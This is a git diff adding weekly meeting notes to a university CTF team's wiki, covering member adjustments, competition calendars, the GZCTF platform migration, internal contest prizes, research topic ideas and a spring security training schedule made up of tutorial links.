This CTF is organized by [team Team] in a joint effort with the Ugra Research Institute of Information Technologies and Information Technologies and Digital Development Department of the Khanty-Mansiysk Autonomous Okrug — Ugra.

+

Teams of high school students and others are playing in separate scoreboards, but they will be merged upon uploading to CTFtime.

+

Note: This year's challenges will be a bit easier than usual. If you enjoyed our previous years' Quals, come and join us at Ugra CTF Open 2023 which will be held June 2023.

+

The official language of Ugra CTF is Russian, but you are welcome to participate even if you don’t speak it. We will try our best to ensure that no task relies on something that can’t be understood by proper use of machine translation.

+

Wrap-up

+

In this week's weekly meeting, we adjusted the format and content format of the weekly meeting conducted after the day to facilitate work progress tracking and planning. I proposed a new planned content adjustment of the Wiki page, hoping to make the Wiki content more suitable for CTF beginners and players' reference.

+

In addition, we have reviewed the achievements of the 2022 varsity team, and also summarized the regrets and unfinished business of 2022, hoping to inspire us to continue our progress. At the same time, I have prepared many new plans for 2023.

+

The work on the new platform has been in the planning since the second half of 2022, from trying to adjust the CTFd, and gradually changing to the new platform GZCTF was chosen. In the test conducted last week, the stability and usability of GZCTF were tested, and I plan to change the tournament platform to GZCTF.

+

Finally, about the recent tournament matters. There will be two competitions this week, both of which are international competitions of CTFtime, and the idekCTF of which has CTFtime score weighting, so I hope students who can learn will participate.

+

The above is the content of this week's weekly meeting, if you have any comments/suggestions, please feel free to contact me.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-01-19/index.html b/Meeting/CTF Week Meeting 2023-01-19/index.html new file mode 100644 index 000000000..1603f6c42 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-01-19/index.html @@ -0,0 +1,8355 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-01-19 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-01-19

+

Happy New Year in advance to all of you! This is our last weekly meeting before the Spring Festival, and after the Spring Festival, we will start our plans and goals for the new year, so I hope we can still make progress together and build on our success.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 60%
  2. +
  3. Topic: CTF combined with research - 0%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. Training plan during winter break - 33%
  8. +
  9. Member adjustment - 50%
  10. +
  11. New Platform GZCTF - 43%
  12. +
  13. Wiki page content adjustment - 20%
  14. +
  15. CTFtime program: play CTF and sharing - 0%
  16. +
  17. New Member Recruitment - 0%
  18. +
  19. Apply for more ports with ITS on the Detroit server - 33%
  20. +
+

What we discussed this week

+
    +
  1. Member adjustment.
  2. +
  3. Training plan during winter break.
  4. +
  5. Apply for more ports with ITS on the Detroit server.
  6. +
  7. Upcoming events.
  8. +
+

0x1. Member adjustment

+

So far I have collected most of the questionnaire results from the members, with a total of 16 results from new members. Some of them are collected for the training of the last semester, and the other part is the comments and suggestions for the shortcomings of the previous training.

+

For training participation, 50% of the members almost always/always participate in the weekly training program and 87.5% of the members would participate in the weekly training program, recommendations regarding training participation I will list later.

+

Competition participation was unfortunate, with 18.8% of members participating in 3-5 competitions, while 62.5% of members participated in only 1-2 competitions. I encourage students to participate in more competitions, and I will follow your suggestions to improve the notification and participation format of the competitions.

+

The day-to-day work of the varsity team includes the maintenance of the wiki page, the updating of the tournament question platform, and the future posting of content to our social media accounts, which is difficult for me to do alone and therefore requires help. Happily, 81.3% of the members are willing to assist with this part of the work.

+

Regarding COMPASS lab, 56.2% of the members would like to participate in COMPASS lab research, choose COMPASS colleagues as mentors, or actively prepare to stay in COMPASS as graduate students. COMPASS is a very good environment and platform, and I hope that you would like to choose COMPASS as your future plan.

+

Unfortunately, after a semester of working together, three members decided to retire, either choosing to continue their studies in other directions or finding that CTF did not fit their future plans. I would also like to wish the members who chose to retire a bright future.

+

Advice

+

The training model in question. There are some very good suggestions under this issue, and I will combine the training content explanation with the topics in future training, starting from the perspective of sharing the topics and introducing what should be explained here.

+

About the contest. I have matched teams according to everyone's intentions, and before the tournament, I would suggest participating through teams, even if you can only make one or two questions, you are contributing to this tournament all the same. In the tournament suggestions, I would make it a little easier to form teams.

+

In the future, I will also pay attention to everyone's class schedule and CTF time. I will increase the frequency of activities when people are not too busy, and try not to take up too much time during the midterm and final periods.

+

Teams

+

HED

+

2

+

3

+

4

+

I try to make sure the team has no more than five players (four + substitutes) so that it can meet the number requirements for most tournaments. For tournaments with a ten-player limit, it is possible to combine two teams for the tournament.

+

Due to such considerations, some students' team intentions were not met, so if you have any questions about team arrangements or are very interested in joining a particular team, you can also contact me and I will rearrange it.

+

0x2. Training plan during winter break

+

The tournament schedule for the winter break will be synced on my Google calendar and also made public each week in the group for the week. If it is a contest that requires advance registration for team formation, I will synchronize it higher. For the rest of January, here is the schedule of competitions, which students are free to choose their own time to participate in.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Competition NameLinkStart TimeEnd TimeRequire pre-register
Insomni'hack teaser 2023https://insomnihack.ch/contests/2023-1-20 20:002023-1-22 20:00False
KnightCTF 2023https://knightctf.com/2023-1-20 23:002023-1-21 23:00False
bi0sCTF 2022https://ctf.bi0s.in/2023-1-21 23:002023-1-22 23:00False
西湖论剑网络安全技能大赛-初赛https://game.gcsis.cn/2023-2-02 00:002023-2-02 23:59True
+

For members participating in the competition I suggest posting a link to your team invitation and a link to the competition in the group so that students who are also planning to join the competition can join the team more easily.

+

In addition, there will be some basic content recording training to catch up on the basics of network security. These trainings will not take place at a fixed time, and most of them will be recorded. If it is an online meeting or a live broadcast, the corresponding recording will also be kept.

+

The specific content selection I will complete in the near future and will be released on public channels as soon as possible.

+

0x3. Apply for more ports with ITS on the Detroit server

+

Two weeks ago, I submitted an OA request form to open all ports above 20,000 on the detroit server to accommodate the new GZCTF platform. The new platform assigns ports rather randomly, and the container assignment dependency library it uses does not have the ability to set port ranges, so if you want to limit the ports assigned to 20000-30000, you will need to make some ugly network level changes, which I prefer not to do.

+

Besides, the originally requested 20,000-30,000 ports are getting stretched and may not meet our service needs in the future, requesting more ports is one solution (another solution is for me to open the docker containers on a public container hosting platform).

+

After two long weeks of waiting, the OA file was marked as processed, but the ports were not open. ITS believes that requesting more than 30,000 ports will still require a new security scan and check, and intends to follow up with me via email (which I have not received so far).

+

The migration of the GZCTF platform has been affected somewhat, and if the ports are not open, then the dynamic and static container features of GZCTF will not be available off-campus, and I will not be able to run practice rounds on GZCTF (as all topics using containers will not work).

+

Suffice it to say that the GZCTF migration progress is being blocked by the progress of the ITS application.

+

I will continue to follow up on the progress of the port application and hope to finish it as soon as possible.

+

0x4. Upcoming events

+

It has been listed above and will not be repeated.

+

Wrap-up

+

The restructuring of new members and team assignments are almost complete, and I have taken some good advice and made adjustments to future plans.

+

The tournament schedule will make it as easy as possible for students to form teams and hopefully participate in more tournaments. I have listed the recent tournament schedule and the rest of the winter break plans are being designed and will be made public in a few days.

+

The migration of the GZCTF platform has been delayed by the slow progress of ITS, which I am following up on.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-02-02/index.html b/Meeting/CTF Week Meeting 2023-02-02/index.html new file mode 100644 index 000000000..a4cc9cf03 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-02-02/index.html @@ -0,0 +1,8328 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-02-02 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-02-02

+

After the end of the Spring Festival, I am working on the work matters planned for the year before, and we are also participating in the West Lake Sword Tournament today, so I wish you all continue to move forward in the next semester.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 60%
  2. +
  3. Topic: CTF combined with research - 0%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. Training plan during winter break - 100%
  8. +
  9. Member adjustment - 100%
  10. +
  11. New Platform GZCTF - 43%
  12. +
  13. Wiki page content adjustment - 20%
  14. +
  15. CTFtime program: play CTF and sharing - 9%
  16. +
  17. New Member Recruitment - 0%
  18. +
  19. Apply for more ports with ITS on the Detroit server - 100%
  20. +
  21. Ande Cup CTF game - 13% brief idea
  22. +
  23. Remedial content session - 0% brief idea
  24. +
  25. 2023 spring training schedule - 33% brief idea
  26. +
+

What we discussed this week

+
    +
  1. Ande Cup (安德杯) CTF game.
  2. +
  3. Remedial content session.
  4. +
  5. 2023 spring training schedule.
  6. +
  7. Upcoming events.
  8. +
+

0x1. Ande Cup (安德杯) CTF game

+

Just a game.

+

Inspired by an entertainment contest mentioned in a chat, I am working on the content design and topic design, about 20 questions or so, there will be some simple promotion in QQ group/CTFtime, not a serious cyber security RW vulnerability contest, but entertainment for beginners.

+

The contest is tentatively scheduled for Feb 26 - Feb 27, 2023, and will last for 24 hours.

+

0x2. Remedial content session

+

In these tutorials, I will sync the written content to our wiki for use as an introduction to cybersecurity, currently selected content is

+
    +
  • What is cybersecurity and the hacker attitude.
  • +
  • Installation and basic operation of Linux-based operating systems.
  • +
  • Simple programming using the Python language, including math, networking, and image processing.
  • +
  • How to use Sagemath to perform mathematical operations.
  • +
  • Network packet capture and analysis via Burp Suite or Fiddler.
  • +
  • Understanding file structure and using a hex editor.
  • +
  • Reverse executables such as ELF and PE via IDA or Ghidra.
  • +
  • Basic content and exploitation of binary vulnerabilities.
  • +
  • Creating containers with Docker and container management with K8S.
  • +
+

This content will be updated gradually in the form of written materials or video images and will not be available in offline training sessions.

+

0x3. 2023 spring training schedule

+

For the spring 2023 program, we will continue to use the same weekly training format as before, and we will accept your suggestions to add a sharing and combination of questions to the training and add more practical content in addition to theory.

+

Each week, I will also post an archived replay of a recent competition, or a self-practice session on a selected topic, which you are free to arrange according to your schedule. Of course, if there is a competition planned for the week, the competition topic review will be delayed/reduced/canceled.

+

Spring 2023 Program

+

In the spring 2023 program, we have two components: recruitment of new members and advanced training. After a semester of competition and training, everyone's cybersecurity level and ability have improved, and I will focus on deepening learning in a certain direction this semester.

+

I will not recruit too many new members this semester, and the final recruitment will still be conducted through the competition, mainly for the freshmen of 2022, and the number of recruits will be mainly used to make up for the number of members who will graduate after this semester.

+

The number of recruits will be used to make up for the number of members who will graduate after this semester. The spring 2023 offline training and competition questions will be updated on this page.

+

0x4. Upcoming events.

+

I have updated the tournament calendar for February and here are the tournaments that will take place this week.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Competition NameLinkStart TimeEnd TimeRequire pre-register
西湖论剑网络安全技能大赛-初赛https://game.gcsis.cn/2023-02-02 10:002023-02-02 18:00True/End
Byte Bandits CTF 2023BB CTF2023-02-04 14:302023-02-05 14:30False
DiceCTF 2023DiceCTF 20232023-02-04 05:002023-02-06 05:00False
+

I'm going to participate in competitions. For the team invite links, feel free to pm me or ask a question in the WeChat Group.

+

Wrap-up

+

We planned an upcoming recreational game and summarized what had been accomplished. Three new upcoming programs have been filed in the minutes of this weekly meeting.

+

The remedial training materials for the basic content will be refined and released in the near future, including a series of training programs for spring 2023 with a replay of the race in question, which will also be updated in real-time.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-02-09/index.html b/Meeting/CTF Week Meeting 2023-02-09/index.html new file mode 100644 index 000000000..8663cfc08 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-02-09/index.html @@ -0,0 +1,8234 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-02-09 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2023-02-09

+

We finished 87th in the Xihulunjian tournament, 1 challenge away from 60th place, so we are not in the final. We will still continue to compete in tournaments, and our first practice after the school year starts is February 19.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 60%
  2. +
  3. Topic: CTF combined with research - 0%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. New Platform GZCTF - 43%
  8. +
  9. Wiki page content adjustment - 20%
  10. +
  11. CTFtime program: play CTF and sharing - 11%
  12. +
  13. New Member Recruitment - 0%
  14. +
  15. Ande Cup CTF game - 13%
  16. +
  17. Remedial content session - 0%
  18. +
  19. 2023 spring training schedule - 33%
  20. +
  21. Xihulunjian reproduction environment - 33%
  22. +
+

What we discussed this week

+
    +
  1. Xihulunjian reproduction environment.
  2. +
  3. Upcoming events.
  4. +
+

0x1. Xihulunjian reproduction environment

+

The reproduction environment is being built, and various materials including attachments, descriptions and writeups have been collected to complete the topics that can be reproduced. The container environment will be on the new platform of GZCTF, and after the completion of this reproduction, the old platform will be gradually transferred, and the topics will be replaced by the new platform after the migration is completed.

+

At present, GZCTF is open on port 29998 and has confirmed that the high-end port is open and can be used for testing and topic implementation.

+

0x2. Upcoming events

+

I have updated the tournament calendar for February and here are the tournaments that will take place this week.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Competition NameLinkStart TimeEnd TimeRequire pre-register
HSCSEC CTF 2023https://race.hscsec.cn/2023-02-11 00:002023-02-13 00:00False
LA CTF 2023https://lactf.uclaacm.com/2023-02-11 12:002023-02-13 06:00False
MHSCTF 2023https://mhsctf2023.ctfd.io/2023-02-02 01:002023-02-15 06:00False
+

Wrap-up

+

I'm working on the reproduction environment of Xihulunjian. The progress would update instantly on detroit server port 29998. The upcoming events are listed above.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-02-16/index.html b/Meeting/CTF Week Meeting 2023-02-16/index.html new file mode 100644 index 000000000..d36aac6cb --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-02-16/index.html @@ -0,0 +1,8424 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-02-16 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-02-16

+

Welcome back to the university. We are going to have our first training this semester in Feb. 19th. The location is 551 Meeting Room, Southern Tower of Engineering Department. Topics are listed below.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 80%
  2. +
  3. Topic: CTF combined with research - 5%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. New Platform GZCTF - 43%
  8. +
  9. Wiki page content adjustment - 20%
  10. +
  11. CTFtime program: play CTF and sharing - 13%
  12. +
  13. New Member Recruitment - 0%
  14. +
  15. Ande Cup CTF game - 13%
  16. +
  17. Remedial content session - 0%
  18. +
  19. 2023 spring training schedule - 100%
  20. +
  21. Xihulunjian reproduction environment - 50%
  22. +
+

What we discussed this week

+
    +
  1. COMPASS CTF 2022 Winners and Prizes.
  2. +
  3. CTF-Related Research Components.
  4. +
  5. 2023 Spring Training Schedule.
  6. +
  7. Upcoming events.
  8. +
+

0x1. COMPASS CTF 2022 Winners and Prizes

+

After the CTF, if you are a student in SUSTech, we would have some prizes for top players.

+
    +
  • 1st: Respberry Pi 4B Keyboard, and other prizes below.
  • +
  • 2nd-3rd: SSD-USB drive with penetration toolkits, and other prizes below.
  • +
  • 4th-8th: COMPASS CTF Coat, and COMPASS lab stickers.
  • +
+

And for the top 5 players who haven't been in the CTF team / COMPASS lab, we would glad to invite you to join us.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RankIDScore
1Cerulime1373
2Ben1225
3cerium825
4Trust_04zh675
5nobody575
6CharlottE67350
712012430275
8yxx200
+

The prizes are being customized and will be given to the winners offline before the second week of training.

+ +

I will continue to communicate with my colleagues in the COMPASS lab to try to integrate CTF with academic research. Currently, through communication with some CTF players, cryptography is the most closely integrated link between CTF and research. An example of this is the research described below.

+

https://blog.trailofbits.com/2022/11/29/specialized-zero-knowledge-proof-failures/

+

Fuzzing is likewise a relatively hot topic in research, and the following information is relevant.

+

https://blog.trailofbits.com/2022/12/08/hybrid-echidna-fuzzing-optik-maat/

+

0x3. 2023 Spring Training Schedule

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TopicCategoryAttachmentDate
Network Sniff: IntroductionWebhttps://ithelp.ithome.com.tw/articles/10245117
https://ithelp.ithome.com.tw/articles/10245119
https://ithelp.ithome.com.tw/articles/10246315
https://ithelp.ithome.com.tw/articles/10246917
Feb. 19th, 2023
Network Sniff: Multi-platformWebhttps://frida.re/docs/android/Feb. 26th, 2023
Network ScanWebhttps://websec.readthedocs.io/zh/latest/index.htmlMarch. 5th, 2023
Ethereum and Solidity: IntroductionBlockchainhttp://www.snowywar.top/?p=3848March. 12th, 2023
Ethereum and Solidity: PracticeBlockchainhttp://www.snowywar.top/?p=3848March. 19th, 2023
IoT SecurityIoThttps://paper.seebug.org/2048/March. 26th, 2023
PWN: StackPWNhttps://ir0nstone.gitbook.io/notes/April. 2nd, 2023
PWN: HeapPWNhttps://ir0nstone.gitbook.io/notes/April. 9th, 2023
PWN: KernelPWNhttps://ir0nstone.gitbook.io/notes/
https://paper.seebug.org/2036/
April. 16th, 2023
Reverse EnginneringREhttps://0xinfection.github.io/reversing/April. 23th, 2023
Real-World CryptographyCryptographyhttps://vitalik.ca/index.htmlApril. 30th, 2023
Real-World Security: PenetrationRWhttps://www.ired.team/May. 7th, 2023
Real-World Security: MalwareRWhttps://www.ired.team/May. 14th, 2023
Real-World Security: SummaryRWhttps://www.ired.team/May. 21st, 2023
+

0x4. Upcoming events

+

This weekend we would participate in the pbctf, which is one of the top events. Another competition is also interesting.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Competition NameLinkStart TimeEnd TimeRequire pre-register
pbctf 2023https://ctf.perfect.blue/2023-02-18 22:002023-02-20 10:00False
HackTM CTF Quals 2023https://ctf.hacktm.ro/2023-02-18 20:002023-02-19 20:00False
+

Wrap-up

+

The prizes of COMPASS CTF 2022 are being customized and will be given to the winners offline before the second week of training. The time schedule of the training this semester is published.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-02-23/index.html b/Meeting/CTF Week Meeting 2023-02-23/index.html new file mode 100644 index 000000000..3d195f9a8 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-02-23/index.html @@ -0,0 +1,8443 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-02-23 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-02-23

+

Good afternoon, everyone. Welcome to this meeting. I hope you are all doing well today. We have a lot to cover, so let's get started. Let's make sure we respect each other's time, opinions, and ideas. Please be concise and stay on topic to ensure that we stay on schedule. And please feel free to ask questions or provide feedback at any time.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 80%
  2. +
  3. Topic: CTF combined with research - 15%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. New Platform GZCTF - 43%
  8. +
  9. Wiki page content adjustment - 20%
  10. +
  11. CTFtime program: play CTF and sharing - 14%
  12. +
  13. New Member Recruitment - 10%
  14. +
  15. Ande Cup CTF game - 13%
  16. +
  17. Remedial content session - 0%
  18. +
  19. Xihulunjian reproduction environment - 50%
  20. +
+

What we discussed this week

+
    +
  1. COMPASS CTF 2022 Winners and Prizes.
  2. +
  3. CTF-Related Research Components.
  4. +
  5. 2023 Spring Training Schedule and Adjustments.
  6. +
  7. Upcoming events.
  8. +
+

0x1. COMPASS CTF 2022 Winners and Prizes

+

After the CTF, if you are a student in SUSTech, we would have some prizes for top players.

+
    +
  • 1st: Respberry Pi 4B Keyboard, and other prizes below.
  • +
  • 2nd-3rd: SSD-USB drive with penetration toolkits, and other prizes below.
  • +
  • 4th-8th: COMPASS CTF Coat, and COMPASS lab stickers.
  • +
+

And for the top 5 players who haven't been in the CTF team / COMPASS lab, we would glad to invite you to join us.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RankIDScore
1Cerulime1373
2Ben1225
3cerium825
4Trust_04zh675
5nobody575
6CharlottE67350
712012430275
8yxx200
+

The prizes are being customized and will be given to the winners offline before the second week (next week) of training.

+

I would invite the winners to our training this week and write the order for them prizes. Hope you enjoy this event.

+ +

I list 12 ideas here, and I would add a new component in our weekly training for the students who are interested in the paper submitting. The topics are related to the CTF, and popular in the research area.

+

For more details, I need to discover more with COMPASS's outstanding memebers.

+
    +
  1. Attack surface analysis and vulnerability assessment in Capture the Flag (CTF) games.
  2. +
  3. Security architecture analysis and design in CTF games.
  4. +
  5. Developing CTF games for education and training purposes.
  6. +
  7. Analysis of game mechanics and scoring systems in CTF competitions.
  8. +
  9. Techniques for solving CTF challenges and puzzles.
  10. +
  11. Developing AI-powered tools for CTF competitions.
  12. +
  13. .Analysis of emerging attack techniques in CTF competitions.
  14. +
  15. Development and use of automated tools for CTF game exploitation and defense.
  16. +
  17. CTF game analysis for security research and threat modeling.
  18. +
  19. Analysis of the impact of CTF games on cyber awareness and skill development in organizations.
  20. +
  21. Analyzing the difficulty and complexity of CTF challenges and developing metrics to measure them.
  22. +
  23. Security analysis of existing CTF platforms and frameworks.
  24. +
+

0x3. 2023 Spring Training Schedule

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TopicCategoryAttachmentDate
Network Sniff: IntroductionWebhttps://ithelp.ithome.com.tw/articles/10245117 https://ithelp.ithome.com.tw/articles/10245119 https://ithelp.ithome.com.tw/articles/10246315 https://ithelp.ithome.com.tw/articles/10246917Feb. 26th, 2023
Network Sniff: Multi-platformWebhttps://frida.re/docs/android/March. 5th, 2023
Network ScanWebhttps://websec.readthedocs.io/zh/latest/index.htmlMarch. 12th, 2023
Ethereum and Solidity: IntroductionBlockchainhttp://www.snowywar.top/?p=3848March. 19th, 2023
Ethereum and Solidity: PracticeBlockchainhttp://www.snowywar.top/?p=3848March. 26th, 2023
IoT SecurityIoThttps://paper.seebug.org/2048/April. 2nd, 2023
PWN: StackPWNhttps://ir0nstone.gitbook.io/notes/April. 9th, 2023
PWN: HeapPWNhttps://ir0nstone.gitbook.io/notes/April. 16th, 2023
PWN: KernelPWNhttps://ir0nstone.gitbook.io/notes/ https://paper.seebug.org/2036/April. 23th, 2023
Reverse EnginneringREhttps://0xinfection.github.io/reversing/April. 30th, 2023
Real-World CryptographyCryptographyhttps://vitalik.ca/index.htmlMay. 7th, 2023
Real-World Security: PenetrationRWhttps://www.ired.team/May. 14th, 2023
Real-World Security: MalwareRWhttps://www.ired.team/May. 21st, 2023
Real-World Security: SummaryRWhttps://www.ired.team/May. 28th, 2023
+

0x4. Upcoming events

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Competition NameLinkStart TimeEnd TimeRequire pre-register
Cyber-Bytes 2023https://www.jurhythm.in/#services2023-02-25 19:002023-02-26 00:00False
Trellix HAX 2023https://hax.trellix.com/2023-02-25 16:002023-03-11 16:00False
VU CYBERTHON 2023https://www.cyberthon.lt/2023-02-25 15:002023-02-26 03:00False
+

A new summary about the research topics would be put after the training, for your academic purpose.

+

Wrap-up

+

I've talked about the COMPASS CTF 2022 Winners and Prizes, and invite the winners to our weekly meetings this week. Hope to see you this Sunday. For the research topics, I found more than 20 papers and selected 12 ideas about the CTF research, hope this can help you. Don't forget to join our weekly meeting this Sunday at 551 Meeting Room.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-03-02/index.html b/Meeting/CTF Week Meeting 2023-03-02/index.html new file mode 100644 index 000000000..169547105 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-03-02/index.html @@ -0,0 +1,8506 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-03-02 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-03-02

+

Glad to have a new student who is interested in the CTF, I've talked with him a little bit. Let's start our meeting this week. Don't forget we would have our training this Sunday normally.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 85%
  2. +
  3. Topic: CTF combined with research - 20%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. New Platform GZCTF - 55%
  8. +
  9. Wiki page content adjustment - 20%
  10. +
  11. CTFtime program: play CTF and share - 17%
  12. +
  13. New Member Recruitment - 20%
  14. +
  15. Ande Cup CTF game - 13%
  16. +
  17. Remedial content session - 0%
  18. +
  19. Xihulunjian reproduction environment - 50%
  20. +
  21. CTF from Practice to Principle - 3%
  22. +
  23. National College Student Information Security Contest - 10%
  24. +
+

What we discussed this week

+
    +
  1. Topic: CTF combined with research.
  2. +
  3. New Platform GZCTF.
  4. +
  5. New Member Recruitment.
  6. +
  7. CTF from Practice to Principle.
  8. +
  9. National College Student Information Security Contest.
  10. +
+

0x1. Topic: CTF combined with research

+

Discuss later after the meeting.

+

0x2. New Platform GZCTF

+

The migration and backup of most of the original titles have been completed and are being deployed to the new platform. Discussion item 1: the type of topics migrated and the positioning of the GZCTF platform.

+

Positioning of the new platform: used for topic reproduction environment (official environment has ended maintenance) and deployment and distribution of original topics. It can also be used for internal competition activities, competition, and new member recruitment.

+

Topic migration scope.

+
    +
  1. the official platform has been closed to the reproduction of the topic.
  2. +
  3. Deployment of COMPASS CTF self-assigned questions and CS315 original questions.
  4. +
  5. CTF team for new member recruitment.
  6. +
+

The retention of the old account will be discussed this week, whether to retain the original account data or to carry out a new account system. Discussion Item 2: Account data migration will be conducted.

+
    +
  1. The old account and score information will not be retained (due to the reorganization and redesign of the score of the questions).
  2. +
  3. If you want to archive your account data, we can do it manually.
  4. +
+

0x3. New Member Recruitment

+

A new approach to recruiting new members this semester will be used to address the issue of basic content training taking time away from training for active members. At one time, when we did new member recruitment, we would embark on 2-3 weeks of basic content training, and it would be difficult for advanced-level members to learn anything new during that portion of time.

+

poster

+

Therefore, this semester's recruitment will be in the form of catechism/materials + offline advanced training. I will migrate the basic content training online, and invite the whole school to attend a 3-week basic content training and lecture, after which a recruitment/in-school competition will be held to decide on new members.

+

The number of new members recruited this semester will be about 5.

+

Basic content training will be posted on a wiki and linked to online archiving platforms (e.g. social accounts or catechism sites), and sections on basic content include.

+
    +
  1. introduction to CTF basic content and future directions.
  2. +
  3. the spirit of network security and how to search for information.
  4. +
  5. how to install and use Linux systems.
  6. +
  7. basic program development using Python.
  8. +
  9. Data forensics and information steganography.
  10. +
  11. Data encoding and cryptographic security.
  12. +
  13. Network attack and defense and website penetration testing.
  14. +
  15. Assembly code basics and reverse engineering.
  16. +
  17. Binary Security Fundamentals.
  18. +
+

Additional information on the foundation content is provided in part as follows.

+
    +
  1. Introduction to HTML/CSS/JavaScript basics.
  2. +
  3. PHP code fundamentals.
  4. +
  5. Program debugging using GDB and plug-ins.
  6. +
  7. Docker containers and Kubernetes for container management.
  8. +
+

0x4. CTF from Practice to Principle

+

The idea to write the book "CTF: From Practice to Principle" is inspired by my professor Fengwei, Zhang. From all of my personal experience with the CTF challenges and the events, there's always a huge gap between the beginner layer introduction to the advanced layer expert. When I start to step out of the beginner layer, it's very difficult to understand how and why some advanced knowledge.

+

Under the thought of this aspect of the difficulty, I want to introduce those things you won't know when first solved some challenges. Each chapter of the book would start with some practice knowledge, and end with some difficult advanced principles. The whole book would be divided into two parts: basic knowledge that you can learn from simply reading and learning some limited necessary knowledge, and the hard part is that you need to read more about the principle, source code, and the details of the techniques.

+

Being restricted by my skills, some parts of the book would refer to online websites, technical books, and research papers. I would carefully note the reference when I use them, and if that reference has violated the terms of usage, please contact me and I would delete those parts immediately. Besides, related apologies and compensation would be discussed.

+

**Example reference format: **

+

One of the common tools for web directory scanning is dirbuster[1]. According to ...

+

